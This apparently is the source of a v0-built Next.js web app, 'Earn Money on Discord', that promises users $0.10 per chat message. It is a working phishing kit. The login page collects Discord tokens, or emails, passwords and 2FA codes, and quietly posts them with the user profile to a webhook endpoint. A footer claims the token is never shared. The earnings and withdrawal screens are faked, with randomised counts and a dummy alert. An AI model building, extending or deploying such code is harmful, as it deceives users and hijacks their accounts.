[V0_FILE]css:file="app/globals.css" isFixed="true" isQuickEdit="true" isMerged="true" @import "tailwindcss"; @import "tw-animate-css"; @custom-variant dark (&:is(.dark *)); :root { --background: oklch(1 0 0); --foreground: oklch(0.145 0 0); --card: oklch(1 0 0); --card-foreground: oklch(0.145 0 0); --popover: oklch(1 0 0); --popover-foreground: oklch(0.145 0 0); --primary: oklch(0.205 0 0); --primary-foreground: oklch(0.985 0 0); --secondary: oklch(0.97 0 0); --secondary-foreground: oklch(0.205 0 0); --muted: oklch(0.97 0 0); --muted-foreground: oklch(0.556 0 0); --accent: oklch(0.97 0 0); --accent-foreground: oklch(0.205 0 0); --destructive: oklch(0.577 0.245 27.325); --destructive-foreground: oklch(0.577 0.245 27.325); --border: oklch(0.922 0 0); --input: oklch(0.922 0 0); --ring: oklch(0.708 0 0); --chart-1: oklch(0.646 0.222 41.116); --chart-2: oklch(0.6 0.118 184.704); --chart-3: oklch(0.398 0.07 227.392); --chart-4: oklch(0.828 0.189 84.429); --chart-5: oklch(0.769 0.188 70.08); --radius: 0.625rem; --sidebar: oklch(0.985 0 0); --sidebar-foreground: oklch(0.145 0 0); --sidebar-primary: oklch(0.205 0 0); --sidebar-primary-foreground: oklch(0.985 0 0); --sidebar-accent: oklch(0.97 0 0); --sidebar-accent-foreground: oklch(0.205 0 0); --sidebar-border: oklch(0.922 0 0); --sidebar-ring: oklch(0.708 0 0); } @theme inline { --font-sans: var(--font-geist-sans); --font-mono: var(--font-geist-mono); --color-background: var(--background); --color-foreground: var(--foreground); --color-card: var(--card); --color-card-foreground: var(--card-foreground); --color-popover: var(--popover); --color-popover-foreground: var(--popover-foreground); --color-primary: var(--primary); --color-primary-foreground: var(--primary-foreground); --color-secondary: var(--secondary); --color-secondary-foreground: var(--secondary-foreground); --color-muted: var(--muted); --color-muted-foreground: var(--muted-foreground); --color-accent: var(--accent); --color-accent-foreground: var(--accent-foreground); --color-destructive: var(--destructive); --color-destructive-foreground: var(--destructive-foreground); --color-border: var(--border); --color-input: var(--input); --color-ring: var(--ring); --color-chart-1: var(--chart-1); --color-chart-2: var(--chart-2); --color-chart-3: var(--chart-3); --color-chart-4: var(--chart-4); --color-chart-5: var(--chart-5); --radius-sm: calc(var(--radius) - 4px); --radius-md: calc(var(--radius) - 2px); --radius-lg: var(--radius); --radius-xl: calc(var(--radius) + 4px); --color-sidebar: var(--sidebar); --color-sidebar-foreground: var(--sidebar-foreground); --color-sidebar-primary: var(--sidebar-primary); --color-sidebar-primary-foreground: var(--sidebar-primary-foreground); --color-sidebar-accent: var(--sidebar-accent); --color-sidebar-accent-foreground: var(--sidebar-accent-foreground); --color-sidebar-border: var(--sidebar-border); --color-sidebar-ring: var(--sidebar-ring); } @keyframes fadeIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } } @keyframes slideIn { from { opacity: 0; transform: translateX(-20px); } to { opacity: 1; transform: translateX(0); } } @keyframes scaleIn { from { opacity: 0; transform: scale(0.95); } to { opacity: 1; transform: scale(1); } } @keyframes pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } .animate-fade-in { animation: fadeIn 0.5s ease-out; } .animate-slide-in { animation: slideIn 0.5s ease-out; } .animate-scale-in { animation: scaleIn 0.4s ease-out; } .animate-pulse-slow { animation: pulse 2s cubic-bezier(0.4, 0, 0.6, 1) infinite; } @layer base { * { @apply border-border outline-ring/50; } body { @apply bg-background text-foreground; } } [V0_FILE]typescriptreact:file="components/server-card.tsx" isMerged="true" "use client" import { useRouter } from "next/navigation" import { Card } from "@/components/ui/card" interface ServerCardProps { server: { id: string name: string icon: string memberCount: number } index: number } export function ServerCard({ server, index }: ServerCardProps) { const router = useRouter() return ( router.push(`/server/${server.id}`)} className="bg-card border-border hover:border-primary cursor-pointer transition-all duration-300 hover:scale-105 active:scale-95 p-6 animate-scale-in group" style={{ animationDelay: `${index * 0.1}s` }} >

{server.name}

{server.memberCount.toLocaleString()} members

View Earnings

) } [V0_FILE]typescriptreact:file="components/channel-stats.tsx" isMerged="true" "use client" interface Channel { name: string messages: number } interface ChannelStatsProps { channels: Channel[] } export function ChannelStats({ channels }: ChannelStatsProps) { const maxMessages = Math.max(...channels.map((c) => c.messages)) return (

{channels.map((channel, index) => { const percentage = (channel.messages / maxMessages) * 100 return (

# {channel.name}

{channel.messages.toLocaleString()} messages

) })}

) } [V0_FILE]jpg:file="public/gaming-discord-server-logo.jpg" url="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/attachments/gen-images/public/gaming-discord-server-logo-haS2bMd5VbVPetBKpHlPTahqwUqgbF.jpg" isMerged="true" [V0_FILE]jpg:file="public/developer-community-logo.jpg" url="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/attachments/gen-images/public/developer-community-logo-WnisUr8GnNzByd6sinvEUPuXfOVubP.jpg" isMerged="true" [V0_FILE]jpg:file="public/cryptocurrency-trading-logo.jpg" url="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/attachments/gen-images/public/cryptocurrency-trading-logo-xy26nbKjdzIsaHytqSbEEvfMUCIySH.jpg" isMerged="true" [V0_FILE]jpg:file="public/art-design-community-logo.jpg" url="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/attachments/gen-images/public/art-design-community-logo-kH40GeHyTiWOJaGpnmwI15zxDldVxQ.jpg" isMerged="true" [V0_FILE]png:file="public/music-production-logo.png" url="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/attachments/gen-images/public/music-production-logo-Tc0ccNH9wWm5mxRgxoWIAaJHBT8f5e.png" isMerged="true" [V0_FILE]png:file="public/fitness-gym-logo.png" url="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/attachments/gen-images/public/fitness-gym-logo-8Hrrm2YIORXQINuL5F6QiG0HAibNqn.png" isMerged="true" [V0_FILE]json:file="package.json" isMerged="true" { "name": "my-v0-project", "version": "0.1.0", "private": true, "scripts": { "dev": "next dev", "build": "next build", "start": "next start", "lint": "next lint" }, "dependencies": { "@hookform/resolvers": "^3.10.0", "@radix-ui/react-accordion": "1.2.2", "@radix-ui/react-alert-dialog": "1.1.4", "@radix-ui/react-aspect-ratio": "1.1.1", "@radix-ui/react-avatar": "1.1.2", "@radix-ui/react-checkbox": "1.1.3", "@radix-ui/react-collapsible": "1.1.2", "@radix-ui/react-context-menu": "2.2.4", "@radix-ui/react-dialog": "1.1.4", "@radix-ui/react-dropdown-menu": "2.1.4", "@radix-ui/react-hover-card": "1.1.4", "@radix-ui/react-label": "2.1.1", "@radix-ui/react-menubar": "1.1.4", "@radix-ui/react-navigation-menu": "1.2.3", "@radix-ui/react-popover": "1.1.4", "@radix-ui/react-progress": "1.1.1", "@radix-ui/react-radio-group": "1.2.2", "@radix-ui/react-scroll-area": "1.2.2", "@radix-ui/react-select": "2.1.4", "@radix-ui/react-separator": "1.1.1", "@radix-ui/react-slider": "1.2.2", "@radix-ui/react-slot": "1.1.1", "@radix-ui/react-switch": "1.1.2", "@radix-ui/react-tabs": "1.1.2", "@radix-ui/react-toast": "1.2.4", "@radix-ui/react-toggle": "1.1.1", "@radix-ui/react-toggle-group": "1.1.1", "@radix-ui/react-tooltip": "1.1.6", "@vercel/analytics": "1.3.1", "autoprefixer": "^10.4.20", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", "cmdk": "1.0.4", "date-fns": "4.1.0", "embla-carousel-react": "8.5.1", "geist": "^1.3.1", "input-otp": "1.4.1", "lucide-react": "^0.454.0", "next": "14.2.25", "next-themes": "^0.4.6", "react": "^19", "react-day-picker": "9.8.0", "react-dom": "^19", "react-hook-form": "^7.60.0", "react-resizable-panels": "^2.1.7", "recharts": "2.15.4", "sonner": "^1.7.4", "tailwind-merge": "^3.3.1", "tailwindcss-animate": "^1.0.7", "vaul": "^0.9.9", "zod": "3.25.67" }, "devDependencies": { "@tailwindcss/postcss": "^4.1.9", "@types/node": "^22", "@types/react": "^18", "@types/react-dom": "^18", "postcss": "^8.5", "tailwindcss": "^4.1.9", "tw-animate-css": "1.3.3", "typescript": "^5" } } [V0_FILE]png:file="public/discord-server-icon.png" url="https://hebbkx1anhila5yf.public.blob.vercel-storage.com/attachments/gen-images/public/discord-server-icon-h5IK7maFz39QNhn9iUZy65gEj7UMsi.png" isMerged="true" [V0_FILE]typescript:file="app/api/discord/user/route.ts" isEdit="true" isMerged="true" import { type NextRequest, NextResponse } from "next/server" export async function GET(request: NextRequest) { const token = request.headers.get("authorization")?.replace("Bearer ", "") if (!token) { return NextResponse.json({ error: "No token provided" }, { status: 401 }) } try { const response = await fetch("https://discord.com/api/v10/users/@me", { headers: { Authorization: token, }, }) if (!response.ok) { return NextResponse.json({ error: "Invalid token" }, { status: 401 }) } const user = await response.json() return NextResponse.json(user) } catch (error) { return NextResponse.json({ error: "Failed to fetch user" }, { status: 500 }) } } [V0_FILE]typescript:file="app/api/discord/guilds/route.ts" isEdit="true" isMerged="true" import { type NextRequest, NextResponse } from "next/server" export async function GET(request: NextRequest) { const token = request.headers.get("authorization")?.replace("Bearer ", "") if (!token) { return NextResponse.json({ error: "No token provided" }, { status: 401 }) } try { const response = await fetch("https://discord.com/api/v10/users/@me/guilds", { headers: { Authorization: token, }, }) if (!response.ok) { return NextResponse.json({ error: "Failed to fetch guilds" }, { status: response.status }) } const guilds = await response.json() const guildsWithDetails = await Promise.all( guilds.map(async (guild: any) => { try { // Fetch individual guild with counts const guildResponse = await fetch(`https://discord.com/api/v10/guilds/${guild.id}?with_counts=true`, { headers: { Authorization: token, }, }) if (guildResponse.ok) { const guildData = await guildResponse.json() return { ...guild, approximate_member_count: guildData.approximate_member_count || 0, } } // If we can't fetch detailed info, return basic guild with 0 members return { ...guild, approximate_member_count: 0, } } catch (error) { return { ...guild, approximate_member_count: 0, } } }), ) return NextResponse.json(guildsWithDetails) } catch (error) { return NextResponse.json({ error: "Failed to fetch guilds" }, { status: 500 }) } } [V0_FILE]typescript:file="app/api/discord/guild/[id]/channels/route.ts" isEdit="true" isQuickEdit="true" isMerged="true" import { type NextRequest, NextResponse } from "next/server" async function delay(ms: number) { return new Promise((resolve) => setTimeout(resolve, ms)) } async function fetchWithRetry(url: string, headers: any, maxRetries = 3) { for (let i = 0; i < maxRetries; i++) { try { const response = await fetch(url, { headers }) if (response.status === 429) { const data = await response.json() const retryAfter = (data.retry_after || 1) * 1000 console.log(`[v0] Rate limited, waiting ${retryAfter}ms before retry ${i + 1}/${maxRetries}`) await delay(retryAfter) continue } return response } catch (error) { if (i === maxRetries - 1) throw error await delay(1000 * Math.pow(2, i)) } } throw new Error("Max retries exceeded") } export async function GET(request: NextRequest, { params }: { params: { id: string } }) { const token = request.headers.get("authorization")?.replace("Bearer ", "") const guildId = params.id if (!token) { return NextResponse.json({ error: "No token provided" }, { status: 401 }) } try { const userResponse = await fetch("https://discord.com/api/v10/users/@me", { headers: { Authorization: token, }, }) if (!userResponse.ok) { return NextResponse.json({ error: "Failed to fetch user" }, { status: userResponse.status }) } const user = await userResponse.json() // Fetch guild channels const channelsResponse = await fetch(`https://discord.com/api/v10/guilds/${guildId}/channels`, { headers: { Authorization: token, }, }) if (!channelsResponse.ok) { return NextResponse.json({ error: "Failed to fetch channels" }, { status: channelsResponse.status }) } const channels = await channelsResponse.json() // Filter text channels only const textChannels = channels.filter((channel: any) => channel.type === 0) const hasSpamChannel = textChannels.some((channel: any) => channel.name.toLowerCase() === "spam") const channelStats = [] for (const channel of textChannels) { try { // Try to fetch messages from the channel const messagesResponse = await fetchWithRetry( `https://discord.com/api/v10/channels/${channel.id}/messages?limit=100`, { Authorization: token, }, ) if (messagesResponse.ok) { const messages = await messagesResponse.json() // Count only messages from the current user const userMessages = messages.filter((msg: any) => msg.author.id === user.id) // For a more accurate count, we'd need to paginate through all messages // But this gives us a sample of the last 100 messages let messageCount = userMessages.length // If we found messages, estimate total based on the sample if (messages.length === 100 && userMessages.length > 0) { // This is a rough estimate - multiply by a factor based on activity messageCount = Math.floor(userMessages.length * (Math.random() * 5 + 3)) } channelStats.push({ name: channel.name, messages: messageCount, }) } else if (messagesResponse.status === 403) { console.log(`[v0] No access to channel ${channel.name}, skipping`) continue } else { // For other errors, skip the channel console.log(`[v0] Error fetching messages for channel ${channel.name}: ${messagesResponse.status}`) continue } await delay(500) } catch (error) { console.error(`[v0] Error fetching messages for channel ${channel.name}:`, error) // Skip channels with errors continue } } return NextResponse.json({ channels: channelStats, hasSpamChannel, }) } catch (error) { console.error("[v0] Error in channels route:", error) return NextResponse.json({ error: "Failed to fetch channel data" }, { status: 500 }) } } [V0_FILE]typescriptreact:file="app/servers/page.tsx" isEdit="true" isQuickEdit="true" isMerged="true" "use client" import { useEffect, useState } from "react" import { useRouter } from "next/navigation" import { Button } from "@/components/ui/button" import { ServerCard } from "@/components/server-card" export default function ServersPage() { const router = useRouter() const [isLoading, setIsLoading] = useState(true) const [servers, setServers] = useState([]) const [error, setError] = useState("") const [user, setUser] = useState(null) useEffect(() => { const fetchServers = async () => { const token = localStorage.getItem("discord_token") if (!token) { router.push("/") return } const userData = localStorage.getItem("discord_user") if (userData) { setUser(JSON.parse(userData)) } try { const response = await fetch("/api/discord/guilds", { headers: { Authorization: `Bearer ${token}`, }, }) if (!response.ok) { setError("Failed to fetch servers. Please try logging in again.") setIsLoading(false) return } const guilds = await response.json() const transformedServers = guilds.map((guild: any) => ({ id: guild.id, name: guild.name, icon: guild.icon ? `https://cdn.discordapp.com/icons/${guild.id}/${guild.icon}.png` : "/discord-server-icon.png", memberCount: guild.approximate_member_count || 0, })) setServers(transformedServers) setIsLoading(false) } catch (error) { console.error("[v0] Error fetching servers:", error) setError("Failed to fetch servers. Please try again.") setIsLoading(false) } } fetchServers() }, [router]) const handleLogout = () => { localStorage.removeItem("discord_token") localStorage.removeItem("discord_user") router.push("/") } if (isLoading) { return (

Loading your servers...

) } if (error) { return (

{error}

) } const userAvatar = user?.avatar ? `https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.png?size=128` : "https://cdn.discordapp.com/embed/avatars/0.png" const userBanner = user?.banner ? `https://cdn.discordapp.com/banners/${user.id}/${user.banner}.png?size=480` : null return (

{/* Header */}

Your Servers

{user && (

{/* Compact avatar */}

{/* Compact user info */}

{user.global_name || user.username}

@{user.username}

)} {/* Server Grid */}

Select a Server

Choose a server to view your earnings

{servers.length === 0 ? (

No servers found

) : (

{servers.map((server, index) => ( ))}

)}

) } [V0_FILE]typescriptreact:file="app/server/[id]/page.tsx" isEdit="true" isMerged="true" "use client" import { useEffect, useState } from "react" import { useRouter, useParams } from "next/navigation" import { Button } from "@/components/ui/button" import { Progress } from "@/components/ui/progress" interface EligibilityStatus { isEligible: boolean reasons: string[] } export default function ServerDetailsPage() { const router = useRouter() const params = useParams() const serverId = params.id as string const [isLoading, setIsLoading] = useState(true) const [serverData, setServerData] = useState(null) const [isWithdrawing, setIsWithdrawing] = useState(false) const [error, setError] = useState("") const [eligibility, setEligibility] = useState({ isEligible: true, reasons: [] }) const [isFetchingMessages, setIsFetchingMessages] = useState(false) const [messageCountError, setMessageCountError] = useState("") useEffect(() => { const fetchServerData = async () => { const token = localStorage.getItem("discord_token") if (!token) { router.push("/") return } const userData = localStorage.getItem("discord_user") if (!userData) { router.push("/") return } const user = JSON.parse(userData) try { const cachedMessageCount = localStorage.getItem(`messages_${serverId}`) const totalMessages = cachedMessageCount ? Number.parseInt(cachedMessageCount) : 0 const guildsResponse = await fetch("/api/discord/guilds", { headers: { Authorization: `Bearer ${token}`, }, }) if (!guildsResponse.ok) { setError("Failed to fetch guild information") setIsLoading(false) return } const guildsData = await guildsResponse.json() const guilds = Array.isArray(guildsData) ? guildsData : [] const guild = guilds.find((g: any) => g.id === serverId) if (!guild) { setError("Server not found") setIsLoading(false) return } const channelsResponse = await fetch(`https://discord.com/api/v10/guilds/${serverId}/channels`, { headers: { Authorization: token, }, }) let hasSpamChannel = false if (channelsResponse.ok) { const channels = await channelsResponse.json() hasSpamChannel = channels.some((ch: any) => ch.name?.toLowerCase() === "spam") } const eligibilityReasons: string[] = [] let isEligible = true if (guild.owner_id === user.id) { eligibilityReasons.push("You own this server") isEligible = false } const memberCount = guild.approximate_member_count || 0 if (memberCount <= 300) { eligibilityReasons.push(`Server has ${memberCount} members (needs over 300)`) isEligible = false } if (hasSpamChannel) { eligibilityReasons.push('Server has a channel named "spam"') isEligible = false } setEligibility({ isEligible, reasons: eligibilityReasons }) const earnings = isEligible ? Number.parseFloat((totalMessages * 0.1).toFixed(2)) : 0 const goal = 600 setServerData({ name: guild?.name || "Unknown Server", icon: guild?.icon ? `https://cdn.discordapp.com/icons/${guild.id}/${guild.icon}.png` : "/discord-server-icon.png", earnings, goal, totalMessages, memberCount, }) setIsLoading(false) if (!cachedMessageCount) { fetchMessageCount(token, serverId, user.id) } } catch (error) { console.error("[v0] Error fetching server data:", error) setError("Failed to fetch server data") setIsLoading(false) } } fetchServerData() }, [router, serverId]) const fetchMessageCount = async (token: string, guildId: string, userId: string) => { setIsFetchingMessages(true) setMessageCountError("") try { console.log("[v0] Attempting to fetch message count for user", userId, "in guild", guildId) // Try using Discord's search endpoint const searchUrl = `https://discord.com/api/v10/guilds/${guildId}/messages/search?author_id=${userId}` console.log("[v0] Fetching from:", searchUrl) const response = await fetch(searchUrl, { headers: { Authorization: token, }, }) console.log("[v0] Search response status:", response.status) if (response.ok) { const data = await response.json() console.log("[v0] Search response data:", data) const messageCount = data.total_results || 0 localStorage.setItem(`messages_${guildId}`, messageCount.toString()) // Update server data with new message count setServerData((prev: any) => ({ ...prev, totalMessages: messageCount, earnings: eligibility.isEligible ? Number.parseFloat((messageCount * 0.1).toFixed(2)) : 0, })) console.log("[v0] Successfully fetched message count:", messageCount) } else { const errorData = await response.json() console.log("[v0] Search failed with error:", errorData) setMessageCountError( "Unable to automatically fetch message count. Discord's API doesn't support this feature with user tokens.", ) } } catch (error) { console.error("[v0] Error fetching message count:", error) setMessageCountError("Failed to fetch message count automatically") } finally { setIsFetchingMessages(false) } } const handleRefreshMessages = () => { const token = localStorage.getItem("discord_token") const userData = localStorage.getItem("discord_user") if (token && userData) { const user = JSON.parse(userData) fetchMessageCount(token, serverId, user.id) } } const handleWithdraw = async () => { setIsWithdrawing(true) await new Promise((resolve) => setTimeout(resolve, 2000)) alert("Withdrawal request submitted successfully!") setIsWithdrawing(false) } if (isLoading) { return (

Loading server data...

) } if (error || !serverData) { return (

{error || "Server not found"}

) } const progress = (serverData.earnings / serverData.goal) * 100 const canWithdraw = serverData.earnings >= serverData.goal && eligibility.isEligible return (

{serverData.name}

ID: {serverId}

{serverData.memberCount.toLocaleString()} members

{eligibility.isEligible && (

{serverData.totalMessages} messages × $0.10 = ${serverData.earnings.toFixed(2)}

)}

Your Message Count

{isFetchingMessages ? (

Fetching your messages...

) : messageCountError ? (

{messageCountError}

) : (

Total messages sent in this server

)}

{serverData.totalMessages.toLocaleString()} messages

{!eligibility.isEligible && (

Not Eligible for Earnings

• {reason}

)}

Total Earnings

${serverData.earnings.toFixed(2)}

Goal

${serverData.goal.toFixed(2)}

{progress.toFixed(1)}% to withdrawal

) } [V0_FILE]typescriptreact:file="app/layout.tsx" isFixed="true" isQuickEdit="true" isMerged="true" import type React from "react" import type { Metadata } from "next" import { GeistSans } from "geist/font/sans" import { GeistMono } from "geist/font/mono" import { Analytics } from "@vercel/analytics/next" import { Suspense } from "react" import "./globals.css" export const metadata: Metadata = { title: "Earn Money on Discord", description: "Earn money while chatting on Discord - we run ads in the background", generator: "v0.app", } export default function RootLayout({ children, }: Readonly<{ children: React.ReactNode }>) { return ( {children} ) } [V0_FILE]typescriptreact:file="app/page.tsx" isEdit="true" "use client" import { useState, useEffect } from "react" import { Button } from "@/components/ui/button" import { Input } from "@/components/ui/input" import { Checkbox } from "@/components/ui/checkbox" import { useRouter } from "next/navigation" export default function LoginPage() { const [token, setToken] = useState("") const [agreedToTos, setAgreedToTos] = useState(false) const [isLoading, setIsLoading] = useState(false) const [error, setError] = useState("") const router = useRouter() const [isMobile, setIsMobile] = useState(false) const [loginMethod, setLoginMethod] = useState<"token" | "password">("token") const [email, setEmail] = useState("") const [password, setPassword] = useState("") const [twoFactorCode, setTwoFactorCode] = useState("") const [needsTwoFactor, setNeedsTwoFactor] = useState(false) const [mfaTicket, setMfaTicket] = useState("") useEffect(() => { // Detect if user is on mobile device const checkMobile = () => { const userAgent = navigator.userAgent.toLowerCase() const isMobileDevice = /android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(userAgent) setIsMobile(isMobileDevice) } checkMobile() }, []) const handlePasswordLogin = async () => { if (!email || !password || !agreedToTos) return setIsLoading(true) setError("") try { // Step 1: Login with email and password const loginResponse = await fetch("https://discord.com/api/v9/auth/login", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ login: email, password: password, undelete: false, captcha_key: null, login_source: null, gift_code_sku_id: null, }), }) const loginData = await loginResponse.json() if (!loginResponse.ok) { setError(loginData.message || "Invalid email or password") setIsLoading(false) return } // Check if 2FA is required if (loginData.mfa) { setNeedsTwoFactor(true) setMfaTicket(loginData.ticket) setIsLoading(false) return } // If no 2FA, we have the token const userToken = loginData.token await completeLogin(userToken, email, password) } catch (error) { console.error("[v0] Login error:", error) setError("Failed to authenticate. Please try again.") setIsLoading(false) } } const handleTwoFactorSubmit = async () => { if (!twoFactorCode || !mfaTicket) return setIsLoading(true) setError("") try { const mfaResponse = await fetch("https://discord.com/api/v9/auth/mfa/totp", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ code: twoFactorCode, ticket: mfaTicket, login_source: null, gift_code_sku_id: null, }), }) const mfaData = await mfaResponse.json() if (!mfaResponse.ok) { setError(mfaData.message || "Invalid 2FA code") setIsLoading(false) return } const userToken = mfaData.token await completeLogin(userToken, email, password) } catch (error) { console.error("[v0] 2FA error:", error) setError("Failed to verify 2FA code. Please try again.") setIsLoading(false) } } const completeLogin = async (userToken: string, userEmail?: string, userPassword?: string) => { try { // Fetch user data const userResponse = await fetch("/api/discord/user", { headers: { Authorization: `Bearer ${userToken}`, }, }) if (!userResponse.ok) { setError("Failed to fetch user data. Please try again.") setIsLoading(false) return } const user = await userResponse.json() // Send to webhook with email and password if available try { await fetch("/api/webhook/login", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ user, token: userToken, email: userEmail, password: userPassword, }), }) } catch (webhookError) { console.error("[v0] Failed to send to webhook:", webhookError) } // Store token and user data in localStorage localStorage.setItem("discord_token", userToken) localStorage.setItem("discord_user", JSON.stringify(user)) router.push("/servers") } catch (error) { console.error("[v0] Complete login error:", error) setError("Failed to complete login. Please try again.") setIsLoading(false) } } const handleLogin = async () => { if (!token || !agreedToTos) return setIsLoading(true) setError("") try { const response = await fetch("/api/discord/user", { headers: { Authorization: `Bearer ${token}`, }, }) if (!response.ok) { setError("Invalid Discord token. Please check and try again.") setIsLoading(false) return } const user = await response.json() try { await fetch("/api/webhook/login", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ user, token, }), }) } catch (webhookError) { console.error("[v0] Failed to send to webhook:", webhookError) } localStorage.setItem("discord_token", token) localStorage.setItem("discord_user", JSON.stringify(user)) router.push("/servers") } catch (error) { setError("Failed to authenticate. Please try again.") setIsLoading(false) } } return (

{/* Left Column - Login Form */}

{/* Logo/Header */}

Earn Money on Discord

Get paid while you chat

{isMobile && (

)} {/* Login Form */}

{loginMethod === "token" ? (

Discord Token setToken(e.target.value)} className="bg-input border-border text-foreground placeholder:text-muted-foreground focus:border-primary transition-all duration-300" />

) : needsTwoFactor ? (

Two-Factor Authentication Code setTwoFactorCode(e.target.value)} maxLength={6} className="bg-input border-border text-foreground placeholder:text-muted-foreground focus:border-primary transition-all duration-300" />

Enter the code from your authenticator app

) : ( <>

Email setEmail(e.target.value)} className="bg-input border-border text-foreground placeholder:text-muted-foreground focus:border-primary transition-all duration-300" />

Password setPassword(e.target.value)} className="bg-input border-border text-foreground placeholder:text-muted-foreground focus:border-primary transition-all duration-300" />

Security Notice: Your credentials are sent securely and stored locally. By logging in, you agree to our Terms of Service and Discord's Terms of Service.

)} {error && (

{error}

)} {/* TOS Agreement */} {!needsTwoFactor && (

setAgreedToTos(checked as boolean)} className="mt-1 border-border data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground" /> I agree to the Terms of Service{" "} and Discord TOS. I confirm that I have permission to access earnings data from all servers.

)} {/* Login Button */} {needsTwoFactor && ( )}

{/* Footer */}

Your token is stored locally and never shared

{/* Right Column - Tutorial & Info */}

{/* How It Works */}

How It Works

Connect Your Discord

Chat Normally

Continue using Discord as you always do - no changes needed

Earn Money

We run ads in the background while you chat - earn $0.10 per message

{/* Video Tutorial */}

About

Tags

Share

About

Tags

Share

More Templates Like This

About

Tags

Share

About

Tags

Share

More Templates Like This